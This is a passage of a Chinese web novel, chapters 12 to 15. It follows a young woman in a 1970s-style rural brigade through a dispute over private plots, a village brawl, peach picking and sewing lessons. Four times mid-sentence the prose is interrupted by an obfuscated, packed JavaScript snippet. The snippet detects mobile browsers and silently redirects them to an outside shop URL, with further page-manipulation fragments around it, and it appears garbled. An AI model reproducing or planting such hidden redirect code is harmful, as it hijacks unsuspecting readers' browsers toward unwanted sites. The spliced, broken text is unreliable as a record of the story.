路上的人群分为两拨,去上工的往地里去,去开会的往晒谷场去,去开会的大多是大娘们,估计是男人们觉得为了几分地争得面红耳赤不好看,所以派女人来。 台上站着大队长江正峰,旁边站着公社里来的赵同志和大队支书,江正峰手里拿着一个本子,宣读各家分配到的自留地面积和大概位置。 大队长还没读完,底下的社员们就有了动静。 “怎么我家分到的自留地变少了?是不是大队长弄错了?” “我家的自留地也变少了,这肯定是弄错了!” “公社来的干部同志看着的,大队长应该不会弄错吧?” “这可说不定,公社来的干部同志中午还在大队长家吃饭呢,说不准他也帮着大队长来糊弄我们呢!” 大娘们说话的声音不小,站在一旁的赵亮听到这话,脸色都变黑了。旁边的大队支书心道不好,连忙安抚道:“赵同志别和这些乡下人一般见识,她们没文化没见识,只会胡说八道。等会儿我让他们向赵同志道歉。” 赵同志缓了缓脸色,摆摆手,“道歉就不必了,我不会和他们一般见识的。” 那边大队长无视底下社员的声音,宣读完了自留地的分配,“自留地都是按照每户的人口数量分配的,不会有错。” “那为什么我们家里的人数增多了,分到的自留地却变少了,大队长你得给我们一个说法!” “就是啊,我们分到的自留地应该变多才是,怎么会变少呢,大队长,你可不要看我们没什么见识就糊弄我们!” 江正峰义正词严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959505|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“国家规定自留地不能超过每人平均占有土地的百分之五,我们大队的土地数量是不变的,人口数量变多了,人均占有土地数量就变少了,能分配给社员的自留地自然也跟着变少了。我刚刚宣读的每户分配到的自留地数量都是按照规定分配的,你们谁要是有意见,就去找公社领导,找县城领导,反正我这里是没办法给你们更改了。” 听到江正峰的话,社员们都十分后悔要求重新分配土地。 “大队长,我们不要重新分配自留地了,把原本分给我们的自留地发还给我们就行了。” “对,我就要原来那块自留地,别的我不要!” 江正峰的脸色也不好看了,说要重新分配自留地的是你们,现在又说不要重新分配了,当这自留地是你家的红薯吗,想怎么分就怎么分? “大家静一静,听我说!自留地重新分配的报告是公社领导通过了的,已经定好了,是不能再更改的。当初是你们要求要重新分配自留地的,我也反复跟你们确认了好几遍,你们都同意了要重新分配自留地,现在你们又觉得不满意想反悔,这是肯定不行的!好了,现在同意分配自留地的就上来按手印签字,按完手印就可以在自己家的自留地上种菜了。” 接下来江正峰就坐在台上临时搬来的桌子前,等着社员们上来按手印。 江余家分到的自留地就在她家房子旁边,就在她家的厕所后面,是从她家以前的自留地里分出来的,江余挺满意的,离得近,浇水施肥都方便。别人都不动,江余就第一个上去按手印签字。 江正峰看见江余上来,脸色缓和了一些,还是自家人支持他的工作,等江余签完字,他还问江余:“家里还有没有菜种子?二叔公家里还存有一些菜种子,你要是没有就来拿一些回去种。” 底下的社员们一看江正峰态度强硬起来了,也不敢再找江正峰要说法了,说到底江正峰也是按照规定办事,再怎么怪都怪不到江正峰身上去,毕竟要求重新分配自留地的是他们。 接下来陆续也有一些对自留地分配没有意见的社员上去按手印签字。 一部分社员心里不愿意接受这个结果,站着没动,说起来这都要怪何大娘,要不是何大娘眼红江余家的自留地,提出要重新分配自留地,他们根本不会要求重新分配自留地。 正好何大娘来开会了,大家看见人群中的何大娘就觉得不顺眼,要不是因为她,自己家分到的自留地根本不会变少。 何大娘正阴着一张脸小声咒骂着呢,骂江余不肯把自留地给她,骂大队长分给她家的自留地那么少,骂大队里的人干嘛要生那么多孩子,害得她家分到的自留地变少了,反正她看谁不顺眼就骂谁。 何大娘满肚子的怨气正没地方发泄,周围几个大娘就指着她开始口吐芬芳,何大娘肯定不能忍啊,当即和她们对骂起来,何大娘的嘴巴挺厉害的,可以说是舌战群雄了。 大娘们骂不过何大娘,心里越想越气,不知道是谁先动手,本来的骂战变成了混战。 12. 第 12 章 下面的社员打起来了,作为大队长的江正峰不得不站出来劝架,“好好的怎么又打起来了?你们都快住手!” 打成一团的几位大娘都跟没听见似的,你给我一爪子,我还你一巴掌,打得不可开交,围观的社员都在看热闹,没有一个人出来制止的,连大队长下来了都没注意到,还得江正峰自己扒开人群才能挤进去。 江正峰喊了几次都没能让这几位大娘住手,只能使出杀手锏,“再不住手我就扣你们工分了!” 跟何大娘打架的这几位大娘平时就跟何大娘不对付,现在是新仇旧恨叠加在一起,即使是大队长说了要扣她们工分,她们也不肯停手,不就是五公分吗?就当作一天白干,她们也要把这口气给出了。 “扣工分都不怕了是吧?那就一人扣十公分!” 听到要扣十公分,几位大娘这才停手,平时最多扣五公分,怎么现在还翻倍了呢? 何大娘就算平时再怎么厉害,她一个人也不是几位大娘的对手,完全是被几位大娘压着打,被打得可惨了,脸上肿得跟猪头似的,脖子上还有几道指甲抓的划痕。当然,几位大娘身上也很狼狈。 江正峰看见她们这个样子,一张脸又黑了,“看看你们这像什么样子!动不动就打架,一点素质都没有,还是当着公社来的同志面前打架,真是给我们大队丢脸!” “大队长,是何大娘先骂人的,我们气不过才骂回去,谁知道她竟然对我们动手,那我们也不能白白挨打啊,肯定是要打回去的,这打架的事也不能怪我们吧。” “是啊,我们都听见何大娘骂人了,我还听到她也骂大队长你了。” 江正峰的脸更黑了,“行了行了,不管怎么说,你们打架就是不对的,参与打架的人每人扣五公分,这事就算结束了。” 几位大娘都很不服气,她们都住手了,凭什么还要扣她们的工分,她们又瞪了何大娘一眼,肯定是因为她骂大队长,把大队长给惹生气了,这才牵连到了她们。何大娘觉得自己冤枉,要不是她们告诉大队长,大队长怎么会知道她骂他了,这事怎么能怪她呢? 江正峰不管她们服不服气,反正这个工分是扣定了,他回到台上又催促了一句,“还没按手印签字的赶紧了!” 剩下的人还想再等等,想再闹一闹,最好能让大队长把原来分配给他们家的自留地发还给他们。 这时台上传来一声抱怨,“大队长,这好的地怎么都被挑走了?” 同一位置的地也是有区别的,先上去签字的社员肯定得挑一块好的地,剩下的地相对来说就不怎么好了。 江正峰:“先到先得,别人先上来签字的,肯定是他们先选了,你也别磨蹭了,快点选吧,晚了能选的就更少了。” 下面还想再等等的社员听到这话,瞬间改变了想法,还等什么啊,再等就只能选别人挑剩下的地了。 刚刚社员们还不肯动,现在一窝蜂地都往台上挤,抢着要按手印签字,江正峰连忙把桌子上的本子和文件收起来,怕被社员抢来抢去给撕烂了。他站起来喊道:“都排好队,一个个来!” 分了自留地后,江余每天下了工就给自留地翻地,准备种菜,她还打算上山捡一些枯树枝回来,给自留地围一圈篱笆。 围篱笆一般是用来防止别人家的鸡吃自己家的菜,这几年不准养鸡了,不用担心别人家的鸡来吃她种的菜,她防的是人。 何大娘家的自留地就跟她家的挨着呢,以前她就经常偷摘江余家的菜,要是被抓住了,就说她年纪大了眼花,以为摘的是自己家菜地的菜,江余可不给她这个机会,有篱笆围着,看她还怎么摘错菜。 田彩燕带着梁月华住在江河大队,她们也能分到一块自留地,她们家的自留地就在江余家的自留地旁边。 江余翻地的时候,田彩燕也在,“江余,你家留有菜种子吗?要是没有,我这里有多的,可以均一些给你。” “多谢田婶子,不用了,我家还有存有一些菜种子。” 江余家里其实没存有菜种子,不过她昨天抽奖抽到了一包菜种子,各种常见的蔬菜的种子都有。 这个系统,说它智能吧,江余每次抽奖都希望能抽到肉,可是它就是不给肉,说它不智能吧,可它却知道江余要种菜,给她送来一包菜种子。 分给江余的自留地不大,江余干了两天,就把地给翻好了,再在太阳底下晒个两三天就可以种菜了,趁着这个时间,江余可以上山捡树枝。 下午下工后,江余背了一个背篓就上山了,山的外围的枯枝都被捡完了,她得往山里再走一段路才行。 大家一般都只在山的外围活动,很少有人往里进,江余也不敢太深入山里,她走了一会儿,发现周围人活动的痕迹变少了之后,就不再往里走了。 这一片没有什么人进来,地上掉落的枯枝都没人捡,江余很快就捡了一捆,还挖到了一堆野菜,看着天色不早了,江余准备下山。 江余要原路返回的时候,发现了一棵桃树,树上挂满了桃子,一个桃子差不多有江余的拳头大,桃子已经成熟了,一个个白里透红,有的桃子熟透了没人摘,掉到地上都烂了,走近了就能闻到一股浓郁的桃子味。 江余从够得着的树枝上摘了一个熟透了的桃子,在衣服上蹭掉了上面的绒毛,送到嘴边“咔嚓”一声,桃子鲜甜多汁,比她在现代的时候吃过的大部分桃子都要好吃,江余很快就把一个桃子给吃完了。 好不容易发现一棵果树,当然要把上面的果子给摘走,江余开始摘桃子,她把背篓里的野菜都倒出来,把背篓腾出来装桃子。 这棵桃树结的桃子是硬桃,不用担心放在底下的桃子会被压坏,江余不停地往背篓里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959506|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装桃子,等把低处的桃子摘完后,背篓也差不多装满了,剩下的桃子要爬到树上才能摘到,树很高,爬上去挺危险的,她打算明天带摘桃子的工具来。 江余把野菜放在背篓的最上面,盖住背篓里的桃子,背起背篓,提起捆好的枯枝,顺着原路下山了。 赶着天彻底黑下来之前,江余紧赶慢赶下了山,这一背篓的桃子的重量不亚于当初那一背篓芋头,也有二三十斤重。 江余的力气变大了一些,不至于像那时候一样走几步就要歇一歇。但让她一口气把二三十斤重的东西背下山,也累得不行,更何况她手里还提着一捆枯枝呢,这捆枯枝怎么也得有十几斤重。 她在山脚下坐下来歇了一会儿,缓过来之后才背起背篓继续往家走,还好江余家离山脚不远,江余不用走那么远才到家。这个时候路上已经没有人了,不用担心被人叫住问她背篓里装的是什么。 回到家,江余先把野菜从背篓里拿出来,再把桃子一个一个拿出来摆在她房间里的桌子上,拿手电筒一个个检查一遍,有磕坏的就捡出来,磕破皮的桃子放不了,得先吃了。 看着桌子上堆得满满的桃子,江余高兴得哼起歌来,这些桃子够她吃好多天呢,树上还有没摘完的桃子,等她明天去把它们全摘回来,把旁边的柜子顶也全都堆满桃子,想想就觉得很开心。 今天挖了很多野菜,晚上就吃野菜吧,先把野菜焯水,去去苦味,再放油放盐翻炒入味就可以出锅了,中午煮的粥还剩了一些,倒入锅里热一下,就可以吃晚饭了。 吃完饭,再洗个澡,江余就躺床上睡觉了,今天上了一天工,还背了几十斤重的东西下山,累坏了,她刚躺到床上没几秒钟就进入了梦乡。 江余睡得很实,半夜下起了大雨,打雷声和雨水打在瓦面上的声音都没能把她惊醒。早上起来的时候,发现天井是湿的,她才知道昨天晚上下雨了。 下过雨后,总觉得屋子里潮潮的,上次抽奖抽到的咸鱼还没吃完,放在她房间的柜子里,江余担心咸鱼会坏,想着中午下工回家把咸鱼拿出来晒一晒。 昨天晚上下大雨一点也不耽误今天出大太阳,中午的太阳依旧很猛烈,江余到家后第一件事就是把咸鱼拿到厨房的屋顶上去晒。 中午还是吃野菜,还煮了玉米粥,玉米面和大米放的一样多。吃完午饭,江余还吃了一个桃子当作饭后水果。 江余吃完饭后没回房间午睡,而是把昨天捡回来的树枝拿到自留地去,把树枝斜着插进地里,树枝交叉围成一排,想要把整片自留地围起来,江余还得再捡十几天的树枝。 下午下工后,江余继续上山,除了带上背篓,江余还带了几根麻绳和一个麻袋,麻袋用来装桃子,树上的桃子用一个背篓装不完,她又怕桃子树会被别人发现,桃子会被别人摘走,想一次就把所有的桃子摘走。 13. 第 13 章 江余还带了手电筒上山,这么多桃子她没办法一次性带回家,就想着先把一部分桃子背下山,找个地方藏好,她再上山把剩下的桃子背下来。 等天黑了没人出来了,她再背桃子回家,反正她有手电筒,不怕走夜路会看不见路。 上山走到一半,江余看着周围没人,砍了一根竹子,砍去竹梢,拎着竹竿继续上山,这就是她摘桃子的工具了。 今天不用捡枯枝,江余直奔桃树所在的位置去。桃子还好好的挂在树上,看来还没有人发现这棵桃树。 江余把竹竿的一端弄成U形,用麻绳把麻袋绑在竹竿上,举起竹竿,将U形开口对准长有桃子的枝条,朝着一个方向将竹竿转动几圈,桃枝就被拧断了,桃子连带着枝叶掉入了绑在竹竿下方的麻袋中。 担心桃子被枝叶划坏,江余先把麻袋里的桃子拿出来去掉枝叶放进背篓里,再继续摘下一个桃子。 用竹竿比用手摘桃子要慢得多,等江余把树上成熟的桃子都摘完的时候,天也快黑下来了。 背篓已经放满了,剩下的桃子没地方放,都放在地上,江余把地上的桃子都装进麻袋中,装了有半个麻袋,她用麻绳把口子扎紧,提起来感受了一下重量,差不多有三十多斤重。 怕有人发现,江余用桃树的枝叶把背篓里的桃子盖住,将背篓藏在草丛里,先背着麻袋下山了。到了山脚下,用杂草把麻袋盖住藏好。此时天已经黑了,江余顾不上休息,打着手电筒又往山上去。 把背篓里的桃子也背下山后,江余才在背篓和麻袋的旁边坐下来休息。 从她坐的位置可以看到大队里的情况,大部分人家都熄灯了,只有零星几户还点着灯,从窗户里透出昏黄的灯光。灯油也是要钱买的,大家一般都会在天黑前把该做的事做完,天一黑就躺床上睡觉,好节省灯油。 坐着休息了一会儿,江余感觉自己恢复过来了,背起背篓,打着手电筒继续往家走,走了两趟终于把所有的桃子都运回家了。 房间里的桌子上和柜子顶都堆满了桃子,堆不下的就放在地上,满屋子都弥漫着桃子的果香味。 六月份天黑的时候差不多是七点,天黑后江余又上了一次山,在山脚和家之间往返了两次,中间还要休息,现在怎么也得九点多了,明天五点多就要起床,平时这个时候江余已经躺在床上睡觉了。 实在是没有精力也没有时间做晚饭了,江余吃了两个桃子当晚饭,洗了澡就躺床上睡了。 今天下午下工后,江余没有上山,算上今天,翻好的地已经晒了三天,可以种菜了。 江余拿着锄头和菜种子来到自留地的时候,何大娘的大儿媳李杏花也在自留地忙活,她看见江余来了,就指着江余插好的一排篱笆问:“江余,你这是做什么呢?” 江余:“李婶子看不出来吗?我这是要给自留地围篱笆。” 自留地还没收回去的时候,大家都会给自己家的自留地围上篱笆,李杏花这问的就很多余了。 李杏花看江余说完就低头干活去了,就用江余能听到的声音嘀咕道:“现在都不准养鸡了,还围什么篱笆啊,这是在防谁呢?当谁稀罕她家的那几棵菜一样……” 江余当作听不见她的碎碎念,该干什么就干什么。李杏花见江余没搭理她,自己觉得没意思,就不再碎碎念了。 过了一会儿,田彩燕挑着水来给刚种下去的菜种子浇水,李杏花又有话说了,“田大姐,梁水生把他城里娶的媳妇带回来了,这事你知不知道啊?” 田彩燕放下水桶的动作大了一些,水桶里的水都洒出来了,她拿着水瓢给地里浇水,一张脸没什么表情,“我都离婚了,他要带谁回来都不关我的事。” 李杏花脸色带着一种莫名其妙的优越感,她看着田彩燕笑了一下,“我说你也真是傻,怎么偏偏就离婚了呢,你要是没离婚,那梁水生不就被你捏在手里了,他手里的工资也都是你的,一个月二十多块呢,不比你一次性拿五百块多?你就是不会算账。不说工资,就说他在城里娶的那个老婆,她想要进梁家的门,还得给你磕头敬茶呢。” “啪”地一声,田彩燕把水瓢扔进桶里,“李杏花,现在是新社会了,不兴封建社会的那一套,什么磕头敬茶,你当是旧社会的地主纳小妾吗?要不要我去找大队长来给你说一说,现在还能不能纳妾?” 李杏花缩了缩脖子,低声道:“我就是随口这么一说,你干嘛这么较真呢。”说完她又小声嘀咕,“这么凶,难怪梁水生要再娶一个老婆,和她离婚呢。” 田彩燕听到了李杏花的话,气得站在自己家的自留地上双手叉腰大声道,“李杏花,你又嘀嘀咕咕在那里说什么呢?有胆子你就大声说出来,别总在背后说别人的坏话!” 李杏花抬起头看见田彩燕黑着一张脸站在那里盯着她,看样子随时都有可能冲过来打她,她连忙摇头,“我可什么都没说,你别想冤枉我。” “你敢说不敢承认是吧,我都听见了!不是他梁水生要和我离婚,是我田彩燕要和他离婚,是我不要他!” 李杏花又小声嘀咕,“这有什么区别,不都是离婚吗,人家梁水生离婚了还有个老婆,你田彩燕离婚了连娘家都回不去,还要赖在我们江河大队。” 这次她说得真的很小声,田彩燕是肯定听不到她说什么的,江余的耳朵灵敏一些,听到了。 听李杏花这意思,田彩燕不是不想回娘家,而是不能回娘家。田家一直都挺疼这个女儿的,怎么会不让她回去呢,难道是田彩燕和娘家闹翻了?要是她和娘家闹翻了,田家怎么还会帮她像梁家要五百块钱? 很快江余就从李杏花对田彩燕不满的碎碎念中拼凑出原因来,原来田家帮梁水生弄来工作名额的事情,田彩燕的两个嫂子都不知道,直到田彩燕要和梁水生离婚,她们才知道小姑子的男人的工作是田家帮忙弄来的。 这一下子就引起了两个嫂子的不满,小姑子在娘家的时候公婆都偏心她也就算了,都出嫁了,还要回来吸娘家的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959507|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那可是一个工人的名额,一个月能领二十多块钱的工资呢,这个名额不给自家人,却给了一个外人! 好在小姑子要离婚了,那这个工作可以收回来了,她们对于小姑子要离婚的时都很支持,还在梁家大闹了一番。结果工作没要回来,只要回来了五百块钱,才两年的工资,这可亏大了! 她们想去闹,被告知那个工作要初中毕业的人才能接替,田家的两个儿子小学都没读完,就算把工作要回来了,他们也没办法去上班。行吧,没有工作有五百块钱也是好的,结果五百块钱被公公婆婆全给了小姑子。 妯娌二人不愿意了,对于公公婆婆想要让小姑子回家住的事,二人表示,没门!要是把小姑子接回来住,她们就带着孩子回娘家去,当然,走的时候还要带上粮食。 田家二老疼女儿,女儿不能生了,还离婚了,这五百块钱就是她的养老钱,他们肯定不能要的。也疼儿子,儿子是给他们养老的人,这件事上是他们理亏,对于两个儿媳妇的闹腾,二老也不好过多压制。 手心手背都是肉,他们总不能真的让两个儿媳带着孩子回娘家吧,那样对田彩燕的名声也不好,大队里的人会说小姑子离婚了带着孩子回娘家,还逼走了自己的嫂子。 所以最后的结果是田彩燕带着女儿留在江河大队。 要不是李杏花说出来,江余都不知道这些事,田彩燕离婚后,江余每次见到她,她的脸上都带着笑意,江余还以为她是离婚后万事顺心了,现在想来她说不定是把烦心事都藏在心里了。 大队里的人都说田彩燕是个心里藏不住事的人,有什么情绪都会显露在脸上,现在看来,大队的人说的不一定对。 把菜种子撒好,江余回去提水来给种子浇水,这些都做完后,天色也不早了,江余抬手擦擦额头的汗,看着整齐的菜地,心里有一股成就感。很快她就要吃上自己种的菜了,不知道系统出品的菜种子种出来的菜会不会比普通的菜好吃一点。 江余抬头看了一眼何大娘家的自留地,地里早就没人了,她得多捡些枯枝回来,快点把篱笆围好,特别是挨着何大娘家的自留地的那一面,得把篱笆修得结实一些。 说干就干,第二天下午下工后,江余又背着背篓上山了。 她记得桃树附近也有很多树上掉下来的枯枝,那里没什么人去,地上的枯枝都没人捡,她也不去别的地方,就直奔桃树的附近。 路过桃树底下,她发现树上剩下的没成熟的桃子都被摘走了,看来在她之后也有人发现了这棵桃树,幸好她前天把熟了的桃子都摘完了。 说不定别人早就发现了这棵桃树,每年等桃子成熟的时候就来摘,结果被她先一步把桃子给摘完了。 虽然说这山上的东西都不是有主的,不是谁先发现就算是谁的,大家各凭本事,但江余还是决定短时间内不要来这片地方了,她不想被人知道她是摘走桃子的人,这些桃子也算是集体的东西,到时候要是让她把桃子交出来,可就麻烦了。 14. 第 14 章 一周过后,自留地的菜种子发芽了,江余已经把自留地的三面都围上了半人高的篱笆,剩下的一面还得再捡几天枯枝才能弄好,到时候还要在篱笆上开一个门,方便她出入自留地。 田彩燕看见江余还夸了一句,“江余,你这个篱笆弄得挺好的啊,回头我也让我家月华白天上山捡点枯枝回来,给我家自留地围一圈篱笆。” 李杏花也在自留地,他们家的自留地基本都是她在打理,听到田彩燕的话,她又在那里用大家都能听见的声音嘀嘀咕咕,“现在都不准养鸡养鸭了,还围什么篱笆啊,这不是没事找事干嘛!” 要是这两家都给自留地围了篱笆,她婆婆肯定也要自己家的自留地围篱笆,这活到时候还得是她来干。她没儿子就是命苦啊,被婆婆欺负,被妯娌看笑话,现在连一个离婚没人要的女人和一个没爸没妈的孤女都来欺负她! 李杏花越想越觉得自己命苦,一张脸上都是阴郁。 田彩燕道:“这个可说不准,听说隔壁大队有人悄悄养了母鸡,还不止一家,好几家都养了,一天至少能下一个蛋呢,他们大队的大队长知道了都没说什么。等过段时间再看看,要是没事,估计大家都会想办法弄几只鸡来养了。” “现在都不让养鸡了,怎么能偷着养呢,这种情况难道就没人去举报吗?”李杏花很是愤懑,大家都不能养鸡,凭什么那几家可以养啊。 田彩燕:“想要养鸡的又不止那几家,只是其他人没那个胆子,现在都在看那几家会不会出事,要是没事,其他人再养,这种情况下,谁会去举报?不但不会举报,就算知道了也会当作不知道的。” 江余看年代文的时候,六七十年代是允许养鸡的,就是养殖的数量有限制,现在都有人偷偷养鸡了,估计再过不久,就会有政策下来了。 江余:“要是能养鸡,那就有鸡蛋吃了,这可是好事。” “是啊,这年头想要吃点荤腥可不容易,吃鸡蛋补充营养也是好的。”等养了鸡,她每天给月华吃一个鸡蛋,好好补补。 江余和田彩燕都觉得能养鸡是一件大好事,李杏花可不觉得,她又没儿子,就算养了鸡,这鸡蛋也吃不到她嘴里。 “田婶子,你在家吗?” 隐约听到有人叫她,田彩燕从自留地里站起来,转身看到自己家门前站着一个姑娘,细看了一眼,来人是月底结婚的李家小女儿,她大声道:“是李小妹啊,我在自留地里呢,你找我什么事?” 李小妹一手拿着包裹,一手拎着布袋子走过来,笑道:“我想请田婶子帮我做件衣服,我结婚那天要穿的。” 田彩燕结婚的时候,她娘家陪嫁了一台缝纫机,大队里的人知道田彩燕有缝纫机,有时候会请田彩燕帮忙做衣服,当然,不是白帮忙,要给手工费的,以前是给钱,后来不许私下买卖了,就给东西。 缝纫机是田彩燕的嫁妆,她离婚后,缝纫机自然是要带走的,就放在她现在住的房子里。 田彩燕拍拍手上的土,一口答应下来,“行啊!走,我回去拿尺子给你量一下尺寸,结婚要穿的衣服可不能随便,要做得合身一些才好看。” 江余从供销社买来的细棉布还没动呢,这些日子她都没找到机会向大队里的大娘请教做衣服的事。 一是她不知道谁做衣服的手艺好,跟她同组干活的大娘们穿的衣服,那手艺,只能说是把两块布缝在一起,能穿就行。 二是她也挺忙的,之前粮食不够吃,她要上山挖野菜,后来又要打理自家自留地,要上山找枯枝做篱笆。 大队里的人连结婚穿的衣服都来找田婶子做,看来田婶子做衣服的手艺不错,要是她能请教田婶子是怎么做衣服的就好了。 江余的目光紧紧盯着田彩燕,田彩燕感觉到了,她问:“江余,你有话要说?” 江余有些不好意思,“田婶子,我能跟着去看看吗?我都不知道衣服是怎么做的。” 这孩子的妈在她满月的时候就改嫁了,奶奶前几年也去了,想来也没人教她这些,田彩燕觉得江余可怜,“这有什么能不能的,你想看就跟来吧。” 江余很高兴,“多谢田婶子,我把东西拿回家,洗洗手就来。” 这还是江余第一次来田彩燕的家,这房子本来就是被人废弃了的,年久失修,有些破败,被修缮过后,田彩燕母女才搬进来的,就一间可以住人的屋子,田彩燕母女住着,缝纫机也放在里面。 江余到的时候,田彩燕正在给李小妹量尺寸,见到江余来了,她一边量尺寸,一边说哪里应该收窄,哪里应该放宽,这样衣服穿着才舒服,才好看,江余默默地将这些话记在心里。 量完尺寸,接着裁剪布料,裁剪完布料,天已经暗下来了,就算是给了谢礼,李小妹也不好让人家晚上点灯来帮她做衣服,就说不急,让田彩燕慢慢做,她过两天再来取。 李小妹拎着东西来,空着手走了,她拎来的袋子就是给田婶子的谢礼了。江余猜测那里面应该是粮食,她想着自己应该给田婶子送点什么,她想请教田婶子教她做衣服,总不能让别人白教,总得交点学费。 大队里的人都知道她家没有什么粮食,她要是把粮食送到田婶子家,田婶子肯定也不会收的,不如她送桃子吧,这个时候水果也是稀罕物,挺拿得出手的,最近她每天下了工都要上山,桃子的来源也不会被怀疑。 江余挑了五个又大又红的桃子装在袋子里,拎着走去田家。 江余来到田家的时候,田家已经关门了,田彩燕从里面打开门,“江余,这么晚了,你来有什么事?” 江余提起手里的袋子,“田婶子,我想请你教我做衣服,这是谢礼,我家里没有什么好东西,这是我前两天上山摘的几个桃子。” 田彩燕不肯收,“你想学做衣服我教你就是了,谢礼就不必了,这桃子你留着自己吃吧。” “去上学还要交学费呢,我跟婶子学做衣服也要交学费,婶子你快收下吧,不然我都不好意思跟你学了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959508|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 田彩燕只好收下了,“哎呦,你这孩子就是客气,那我就收下了,明天下工了你来我家,我教你怎么做衣服,这事不难,几天就能学会。” 江余一有空就去田家学做衣服,她还带了一件不能穿的旧衣服去,用旧衣服学习怎么剪裁,等田彩燕把李小妹的衣服做完了,江余也差不多学会了怎么做衣服。 江余感叹道:“做一件衣服可真不容易。” 田彩燕笑道:“你刚开始学,肯定觉得难,等你学会了,就觉得简单了。” 江余问:“田婶子,里面穿的内衣和衣服也是一个做法吗?” “里面穿的衣服要简单一些,我跟你说……” 江余又拿旧衣服练习了几次,终于学会了怎么做衣服了,至少她已经学会自己做内衣内裤了,田婶子还教会了她怎么使用缝纫机。 用缝纫机做衣服就是快,做一件衣服都用不了一天,李小妹的衣服做得慢是因为她的那件衣服要求的花样多。 江余给自己做内衣就不能用缝纫机了,实在是她现在在大队人的眼里就不是一个能买得起布的人,突然拿出一块布料来很容易被人怀疑。她只能在家自己用针线一针一针地缝,她的针线活只能说一般,反正是穿在里面的,穿着舒服就行,好看不好看并不重要。 江余最近和田彩燕来往频繁的事,经由李杏花的传播,被张秀英和吴桂花知道了,她们还来找江余,“听说你最近跟田彩燕走的很近?我跟你说,你以后少跟她来往,她是离过婚的女人,你跟她来往能有什么好名声。” 江余断粮要饿死的时候,这两个人也没这么关心她啊,怎么一听到她跟田婶子来往,就急着来找她,一条人命还比不过所谓的名声吗? 江余不明白,“离过婚的女人怎么了?那又不是田婶子的错。” 吴桂花:“谁管那是谁的错,反正离婚的女人都不是好的。你听我们的,别再去田家了,你有什么事就来找三婶和大伯娘。” “也行吧,三婶,我家没有粮食了,你能借我一点粮食吗?” 吴桂花刚刚还是一副你有什么困难就来找我解决的表情,听到江余的话,表情僵住了,没说话。 江余又转头看向张秀英,“大伯娘,你能借我一点粮食吗?等分了粮食我就还。” 张秀英没回答借不借粮食,她问江余:“你和田家来往是为了找她借粮食?” “不是,田婶子家的粮食都不够吃,哪有粮食借给我,我最近在跟田婶子学怎么缝衣服,免得我的衣服破了都不会补。补衣服的问题解决了,没粮食吃的问题还没解决。三婶说有什么事就去找你们,大伯娘,那我能跟你借一点粮食吗?” 张秀英觉得头疼,这话题怎么又绕回去了呢?收割完粮食后,分的粮食都不够江余一个人吃呢,她哪有粮食还,这粮食借出来还能回来吗? 吃亏的事张秀英可不干,算了算了,江余她爱跟谁来往就跟谁来往吧,只要不跟她家借粮食,都不关她的事。 15. 第 15 章 江余对张秀英和吴桂花这两个人是没什么意见的,她们跟江余又没有血缘关系,她们不想管江余也情有可原。 但是江有田和江有粮这两个人就不一样了,他们不止是原主的亲大伯和亲三叔,还得了原主父亲江有林的好处,居然可以对原主不闻不问,眼睁睁地看着原主饿死,真的是冷血又狠心。 江有林挣下的钱原主是一分钱都没拿到的,全被江家二老分给了江有田和江有粮,江余估计原主父亲留下的钱少说也得有两三千块钱。 江有田和江有粮家的房子都是在原主父亲去世后建起来的,两家的房子都建得挺宽敞的,四间大屋子加上两间小屋子,建这么大的房子少说也要四五百块钱,他们建房子的钱从哪里来的,还不是江有林留下的钱。 江余从原主的记忆里得知,小时候江有田和江有粮两家的日子过得很好,经常有肉吃,她的那些堂兄弟堂姐妹们时不时还有点心吃。 也许是穷人乍富,有点什么好东西都要嚷嚷得全村人都知道,惹来村里人的眼红,他们经常在原主的耳边念叨,“你大伯和三叔都是靠着你爸才有这样好的日子,你爸死后,他们的日子过得就更好了,都能吃香的喝辣的了。他们都能靠着兄弟发财,你这个亲生女儿连件好衣服都没有,你也是倒霉,摊上了那样短命的爸!” 那几年这两家在村里过得十分富裕,后来要定成分,怕被人举报,这两家才低调起来。 